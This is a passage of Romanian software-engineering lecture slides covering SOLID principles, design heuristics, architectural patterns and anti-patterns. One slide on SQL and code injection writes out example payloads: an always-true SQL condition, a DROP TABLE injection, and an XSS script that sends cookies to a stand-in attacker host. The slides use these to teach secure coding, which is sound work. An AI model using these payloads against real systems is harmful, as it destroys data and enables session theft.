Print(ec); toate rezultatele sunt corecte,
ec = ec.Stretch(3); generalizarea este corectă,
Print(ec); iar cercurile pot fi convertite
Console.WriteLine(); în elipse
}

71
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Principiul inversiunii dependențelor
 Clasele de nivel înalt nu trebuie să depindă
de clasele de nivel scăzut. Ambele trebuie să
depindă de abstracțiuni
 Abstracțiunile nu trebuie să depindă de detaliile
concrete. Detaliile concrete trebuie să depindă de
abstracțiuni

72
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: problemă
public class Worker public class SuperWorker
{ {
public void Work() public void Work()
{ {
// working // working more
} }
} }

public class Manager


{
Manager (clasa de nivel
private Worker _worker;
înalt) depinde de Worker
public void SetWorker(Worker w) (clasa de nivel scăzut)
{
_worker = w; Dacă se adaugă un nou tip
} de muncitor, SuperWorker,
trebuie modificată clasa
public void Manage()
{ Manager
_worker.Work();
}
}
73
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: soluție
public interface IWorker public class Manager
{ {
void Work(); private IWorker _worker;
}
public void SetWorker(IWorker w)
public class Worker : IWorker {
{ _worker = w;
public void Work() }
{
// working public void Manage()
} {
} _worker.Work();
}
public class SuperWorker : IWorker }
{
public void Work()
{
// working more
}
}

74
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Principiul responsabilității unice
 O clasă trebuie să aibă un singur motiv să se
modifice
 O clasă trebuie să facă un singur lucru

75
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: problemă
public class Customer
{
public void Add()
{
try
{
// database code
}
catch (Exception ex)
{
System.IO.File.WriteAllText("error.log", ex.ToString());
}
}
}

Customer ar trebui să se ocupe de logica de lucru cu baza de date,


nu de înregistrarea excepțiilor

76
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu: soluție
public class Customer public class FileLogger
{ {
private FileLogger _logger = new FileLogger(); public void Handle(string error)
{
public void Add() System.IO.File.WriteAllText("error.log", error);
{ }
try }
{
// database code
}
catch (Exception ex)
{
_logger.Handle(ex.ToString());
}
}
}

77
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Principiul segregării interfețelor
 Mai multe interfețe specifice pentru clienți
sunt mai bune decât o singură interfață de
uz general
 Un client nu trebuie forțat să depindă de metode
pe care nu le folosește

78
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu public interface IPrinter
{
public interface IMachine void Print(List<Item> item);
{ }
void Print(List<Item> item);
void Staple(List<Item> item); public interface IStaple
void Fax(List<Item> item); {
void Scan(List<Item> item); void Staple(List<Item> item);
void PhotoCopy(List<Item> item); }
}
public interface IFax
{
void Fax(List<Item> item);
}

public interface IScan


{
void Scan(List<Item> item);
}

public interface IPhotoCopy


{
void PhotoCopy(List<Item> item);
} 79
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Exemplu
public interface IMachine : IPrinter, IFax, IScan, IPhotoCopy, IStaple
{
void Print(List<Item> item);
void Staple(List<Item> item);
void Fax(List<Item> item);
void Scan(List<Item> item);
void PhotoCopy(List<Item> item);
}

public interface ISimpleMachine : IPrinter, IScan, IPhotoCopy


{
void Print(List<Item> item);
void Scan(List<Item> item);
void PhotoCopy(List<Item> item);
}

80
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Principii suplimentare
 Principiul echivalenței lansare-reutilizare (release-reuse)
 Granula pentru reutilizare este granula pentru lansare
 Clasele reutilizabile trebuie grupate în pachete care pot fi
gestionate pe măsură ce versiunile evoluează
 Principiul închiderii comune (common closure)
 Clasele care se modifică împreună trebuie grupate împreună
 Clasele trebuie grupate astfel încât coeziunea să fie mare
 Principiul reutilizării comune (common reuse)
 Clasele care nu sunt reutilizate împreună nu trebuie grupate
împreună
 Clasele care se modifică determină o nouă versiune a întregului
pachet
81
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Euristici de proiectare
 Dimensiunea unui modul este o indicație asupra
complexității acestuia
 Modulele prea mari (≈ 100 linii) ar trebui partiționate
 Modulele prea mici (≈ 2-3 linii) ar trebui combinate
 ...dar numai ținând cont de cuplarea și coeziunea
configurației rezultate
 Fan-in (numărul de module care folosesc un modul)
și fan-out (numărul de module folosite de un modul)
 Fan-in-ul trebuie maximizat
 Fan-out-ul trebuie să fie < 5-6

82
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Caracteristicile unei proiectări
de calitate
 Simplitatea
 Cea mai importantă
 Dimensiune redusă a codului
 Codul bine proiectat pare evident, dar e greu de realizat
 Eleganța
 Aspect estetic
 Fluxul de control este clar
 Fiecare componentă adaugă ceva distinct
 Lucrurile asemănătoare sunt asociate
 Schimbările sunt localizate
 Extensibilitatea
 Structură logică și maleabilă
 Interfețe, plug-in-uri dinamice
 Echilibru: ce trebuie acum – ce va trebui în viitor – ce ar putea să
trebuiască în viitor
83
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Caracteristicile unei proiectări
de calitate
 Modularitatea
 Calitatea descompunerii
 Lipsa duplicărilor
 Copy-paste, apoi schimbările nu se fac în toate cazurile
 Reinventarea roții
 Generalizare: superclase, metode cu parametri
 Portabilitatea
 Nu trebuie compromisă calitatea codului dacă portabilitatea nu este
necesară
 Abstractizarea secțiunilor neportabile (care depind de SO sau hardware)
 Proiectare idiomatică
 C++: supraîncărcarea operatorilor
 C#: proprietăți
 Proiectare bine documentată: specificații ale arhitecturii, API
84
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Faza de proiectare
1. Introducere
2. Arhitectura software
3. Proiectarea modulelor
4. Metrici de proiectare
5. Principii de proiectare
6. Șabloane de proiectare
7. Concluzii

Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm


Șabloane de proiectare
 Își au originea în ingineria construcțiilor și arhitectură
 Christopher Alexander, arhitect: Notes on the Synthesis of
Form (1964), A Pattern Language: Towns, Buildings,
Construction (1977)
 Procesul inventării soluțiilor care manifestă o nouă ordine
și organizare ca răspuns la funcționalitate
 Un șablon este suficient de general pentru a fi
aplicat în mai multe situații, dar suficient de concret
pentru a fi util în luarea deciziilor

86
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Șabloane software
 Soluții generale reutilizabile la probleme care
apar frecvent în proiectare
 Sunt descrieri despre cum se poate rezolva o problemă
 Nu pot fi transformate direct în cod
 Un șablon este o soluție la o problemă într-un
context
 Contextul: situațiile recurente în care se aplică șablonul
 Problema: scopurile și constrângerile
 Soluția: regula de proiectare

87
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Conținutul unui șablon
 Numele  Contextul rezultant
 Problema: obiectivele  Justificarea: cum
 Contextul: pre-condițiile funcționează intern și
 Forțele: constrângerile de ce (soluția – extern)
care indică un  Șabloanele înrudite
compromis, de unde și  Exemple
apare nevoia de șablon  Moduri de utilizare
 Soluția: cum se ating cunoscute
obiectivele

88
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Tipuri de șabloane
 Șabloane arhitecturale
 Nivelul arhitecturii
 Șabloane de proiectare
 Nivelul modulelor/claselor
 Idiomuri
 Nivelul limbajului de programare

89
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Arhitectura multi-strat

poate fi la rândul
său multi-strat

90
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Arhitectura multi-nivel
Multi-strat = descompunere fizică:
dll, exe, mașini separate

Multi-nivel = descompunere logică:


namespace-uri, clase

91
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Arhitectura MVC
 Model-Vizualizare-Controlor (Model-View-Controller, MVC)

92
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Varianta clasică
 Modelul: conține datele, starea și logica aplicației. Deși nu
cunoaște Controlorul și Vizualizarea, furnizează o interfață
pentru manipularea și preluarea stării și poate trimite notificări cu
privire la schimbarea stării. De obicei primește cereri privind
starea datelor de la Vizualizare și instrucțiuni de modificare a
datelor sau stării de la Controlor
 Vizualizarea: afișează Modelul într-o formă potrivită pentru
utilizator. Pentru un singur Model pot exista mai multe Vizualizări;
de exemplu, o listă de elemente poate fi afișată într-un control
vizual precum ListBox, într-o consolă sau într-o pagină web
 Controlorul: primește intrările de la utilizator și apelează obiectele
Modelului pentru a prelucra noile informații
Pentru explicații suplimentare, vezi suportul de curs
93
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
O variantă modernă
 Model-Vizualizare-Prezentator (Model-View-Presenter, MVP)
 Stratul de prezentare constă în obiecte de Vizualizare, iar logica
aplicației constă în obiecte de control (Prezentator/Controlor)
 Pentru fiecare obiect de vizualizare există un obiect de control
 Modelul gestionează accesul la date

Pentru explicații suplimentare, vezi suportul de curs


94
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Arhitectura bazată pe componente
 Asamblarea de aplicații din componente
prefabricate
 Interfețele trebuie bine definite
 Interface Definition Language, IDL
 .NET: determinarea interfețelor din implementare
 Asigură cuplarea slabă între componente
 Diferite tipuri de comunicare între componente
 COM, CORBA, JavaBeans

95
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Arhitectura orientată pe servicii
 Funcționalitățile sunt separate în
unități distincte, numite servicii,
accesibile într-o rețea
 Pot fi combinate și reutilizate
 Scopul este tot cuplarea slabă
 Interfațarea este deosebit de
importantă
 Furnizorii de servicii se pot
înregistra la un broker, iar
consumatorii caută serviciile dorite
 Mai mulți furnizori pot oferi același
serviciu: calitate, reputație
 Servicii web: REST, SOAP

96
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Pipeline
 Un lanț de elemente de prelucrare în care ieșirea unuia
corespunde cu intrarea următorului
 De exemplu: dir | sort | more
 Transformările sunt de obicei incrementale
 Formatul de date este de obicei simplu, deseori text
 Tratarea erorilor este mai dificilă
 Utilizări:
 Browsere
 Aplicații de grafică
 Interfețe grafice pentru programe consolă portabile

97
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Pipeline
 Programare funcțională, F#
 |> trimite rezultatul unei funcții următoarei funcții
enumFilesRec
(filterOutPaths ["c:\\Windows";"c:\\ProgramData";"c:\\Program Files"])
(filterExt [".jpg"; ".gif"])
"c:\\Multimedia"
|> Seq.groupBy (fun pth -> (Path.GetExtension pth, (FileInfo pth).Length))
|> Seq.filter (fun (_, s) -> (Seq.length s) > 1)
|> Seq.map (fun (_, sq) -> [for path in sq -> path])
|> Seq.map groupEqualFiles
|> Seq.map filterOutSingletons
|> Seq.collect Seq.ofList
|> Seq.iter (fun lst -> printfn "%A" lst)

http://bartoszmilewski.com/2011/01/05/using-f-sequences-and-pipelines/ 98
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Platforma
 engl. “framework”
 Pentru o bibliotecă tradițională, programul apelează
funcțiile din bibliotecă
 Într-o platformă, apelul codului client este făcut de
către platformă
 Exemple:
 Platforma multi-agent JADE, care rulează agenții
înregistrați în așa-numitele “containere”
 Tensorflow, în sensul că execută un graf computațional
(unii autori îl consideră bibliotecă)

99
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Blackboard (tablă)
 Presupune existența mai multor „surse de
cunoaștere” specializate pe domenii
diverse
 Mai întâi, pe tablă „se scriu” specificațiile
problemei
 Fiecare sursă de cunoaștere (specialist)
caută ocazia de a contribui la rezolvarea
problemei
 Când cineva scrie pe tablă ceva care
permite unui specialist să contribuie,
acesta scrie la rândul său soluția la
subproblema pe care o poate rezolva
 Procesul de adăugare a contribuțiilor pe
tablă continuă până când problema este
rezolvată
100
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Blackboard (tablă)
 Propusă inițial pentru rezolvarea unor probleme
complexe, insuficient definite
 În general, folosită pentru unele aplicații legate de
inteligența artificială, de exemplu:
 Sisteme militare de detectare și urmărire a obiectelor (C4ISTAR)
 Vizualizare interactivă a datelor de la sateliți (RADARSAT-1)
 Recunoașterea optică a caracterelor (Adobe Acrobat Capture)
 Interpretarea datelor de la senzori, data fusion
 Roboți mobili, planificare, învățare simbolică

101
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Șabloane de proiectare
 Erich Gamma, Richard Helm, Ralph Johnson,
John Vlissides (“Gang of Four”, GoF): Elements
of Reusable Object-Oriented Software (1994)

 Trei clase de șabloane de proiectare:


 Șabloane creaționale: instanțierea
 Șabloane structurale: compunerea
 Șabloane comportamentale: comunicarea

102
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Clasificare

Le vom detalia în următoarele 6 cursuri


103
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Idiomuri
 Incrementarea unui contor
 Basic: i = i + 1
 C: i += 1 / i++ / ++i
 Interschimbarea a două valori
 C: temp = a; a = b; b = temp;
 Python: a, b = b, a
 F#: let swap (a, b) = (b, a)
 Proprietăți C#: get, set

104
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Anti-șabloane
 Abstraction inversion  Anemic domain model
 Input kludge  BaseBean
 Permite, de exemplu,
 Circle-Ellipse problem
code injection (vezi slide-ul următor)
 Interface bloat  God object
 Magic pushbutton  Object orgy
 Race hazard  Poltergeists
 Stovepipe system  Yo-yo problem

Pentru explicații, vezi suportul de curs


105
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
SQL / Code Injection
 statement = "SELECT * FROM users WHERE name =
" ' + userName + ' ";"
 userName = a' or 't'='t
 ⇒ SELECT * FROM users WHERE name ='a' OR 't'='t';
 userName = a'; DROP TABLE users;
 ⇒ SELECT * FROM users WHERE name = 'a'; DROP TABLE users;

 Mesaj pe guestbook-ul unui site web:


 Nice site! <script>document.location='http://attacker.nu/cookie.cgi?'</script>

106
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm
Concluzii
 Faza de proiectare arată CUM dorim să construim
 Se referă la domeniul soluției
 Există trei tipuri de șabloane de proiectare, corespunzătoare
nivelurilor de generalitate ale proiectării:
 Șabloane arhitecturale (pentru proiectarea arhitecturii)
 Șabloane de proiectare (pentru proiectarea modulelor)
 Idiomuri (pentru proiectarea detaliată)
 Capacitatea de a proiecta bine vine din respectarea principiilor de
proiectare și din experiență
 În general, proiectarea corectă asigură o cuplare slabă și o coeziune
puternică
 Complexitatea ciclomatică a unui modul este numărul de decizii + 1

107
Florin Leon, Ingineria programarii, http://florinleon.byethost24.com/curs_ip.htm

S-ar putea să vă placă și